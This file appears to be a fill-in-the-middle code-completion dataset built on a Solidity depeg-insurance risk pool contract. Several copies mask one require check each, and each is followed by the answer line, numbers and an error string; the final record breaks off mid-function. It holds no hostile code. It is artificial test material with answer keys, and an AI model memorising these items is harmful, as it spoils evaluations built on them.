// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { require( _bundleIdForBundleName[name] == 0, "ERROR:DRP-020:NAME_NOT_UNIQUE"); require( lifetime >= MIN_BUNDLE_LIFETIME && lifetime <= MAX_BUNDLE_LIFETIME, "ERROR:DRP-021:LIFETIME_INVALID"); // get sum insured bounds from protected balance bounds uint256 policyMinSumInsured = calculateSumInsured(policyMinProtectedBalance); uint256 policyMaxSumInsured = calculateSumInsured(policyMaxProtectedBalance); require( policyMaxProtectedBalance >= policyMinProtectedBalance && policyMaxProtectedBalance <= MAX_POLICY_COVERAGE && policyMaxSumInsured <= _bundleCapitalCap, "ERROR:DRP-022:MAX_PROTECTED_BALANCE_INVALID"); require( policyMinProtectedBalance >= MIN_POLICY_COVERAGE && policyMinProtectedBalance <= policyMaxProtectedBalance, "ERROR:DRP-023:MIN_PROTECTED_BALANCE_INVALID"); require( policyMaxDuration > 0 && policyMaxDuration <= MAX_POLICY_DURATION, "ERROR:DRP-024:MAX_DURATION_INVALID"); require( policyMinDuration >= MIN_POLICY_DURATION && policyMinDuration <= policyMaxDuration, "ERROR:DRP-025:MIN_DURATION_INVALID"); require( annualPercentageReturn > 0 && annualPercentageReturn <= MAX_APR, "ERROR:DRP-026:APR_INVALID"); require( initialAmount > 0 && initialAmount <= _bundleCapitalCap, "ERROR:DRP-027:RISK_CAPITAL_INVALID"); require(<FILL_ME>) bytes memory filter = encodeBundleParamsAsFilter( name, lifetime, policyMinSumInsured, policyMaxSumInsured, policyMinDuration, policyMaxDuration, annualPercentageReturn ); bundleId = super.createBundle(filter, initialAmount); if(keccak256(abi.encodePacked(name)) != EMPTY_STRING_HASH) { _bundleIdForBundleName[name] = bundleId; } // Register the new bundle with the staking/bundle registry contract. // Staking and registry are set in tandem (the address of the registry is retrieved from staking), // so if one is present, its safe to assume the other is too. IBundle.Bundle memory bundle = _instanceService.getBundle(bundleId); if (address(_chainRegistry) != address(0) && isComponentRegistered(bundle.riskpoolId)) { registerBundleInRegistry(bundle, name, lifetime); } } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
getCapital()+initialAmount<=_riskpoolCapitalCap,"ERROR:DRP-028:POOL_CAPITAL_CAP_EXCEEDED"
193,294
getCapital()+initialAmount<=_riskpoolCapitalCap
"ERROR:DRP-032:BUNDLE_EXPIRED"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { require( lifetimeExtension >= MIN_BUNDLE_LIFETIME && lifetimeExtension <= MAX_BUNDLE_LIFETIME, "ERROR:DRP-030:LIFETIME_EXTENSION_INVALID"); ( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) = getBundleLifetimeData(bundleId); require(state == IBundle.BundleState.Active, "ERROR:DRP-031:BUNDLE_NOT_ACTIVE"); require(<FILL_ME>) require(block.timestamp > createdAt + extendedLifetime - EXTENSION_INTERVAL, "ERROR:DRP-033:TOO_EARLY"); _bundleLifetimeExtension[bundleId] += lifetimeExtension; uint256 lifetimeExtended = lifetime + _bundleLifetimeExtension[bundleId]; // update lifetime in registry (if registry is available and bundle is registered) if (address(_chainRegistry) != address(0) && _bundleNftId[bundleId] > 0) { uint96 nftId = getNftId(bundleId); _chainRegistry.extendBundleLifetime(nftId, lifetimeExtension); } // write log entry emit LogBundleExtended(bundleId, createdAt, lifetime, lifetimeExtended); } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
!isExpired,"ERROR:DRP-032:BUNDLE_EXPIRED"
193,294
!isExpired
"ERROR:DRP-100:FUNDING_EXCEEDS_BUNDLE_CAPITAL_CAP"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { require(<FILL_ME>) require( getCapital() <= _riskpoolCapitalCap, "ERROR:DRP-101:FUNDING_EXCEEDS_RISKPOOL_CAPITAL_CAP"); } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
_instanceService.getBundle(bundleId).capital<=_bundleCapitalCap,"ERROR:DRP-100:FUNDING_EXCEEDS_BUNDLE_CAPITAL_CAP"
193,294
_instanceService.getBundle(bundleId).capital<=_bundleCapitalCap
"ERROR:DRP-101:FUNDING_EXCEEDS_RISKPOOL_CAPITAL_CAP"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( 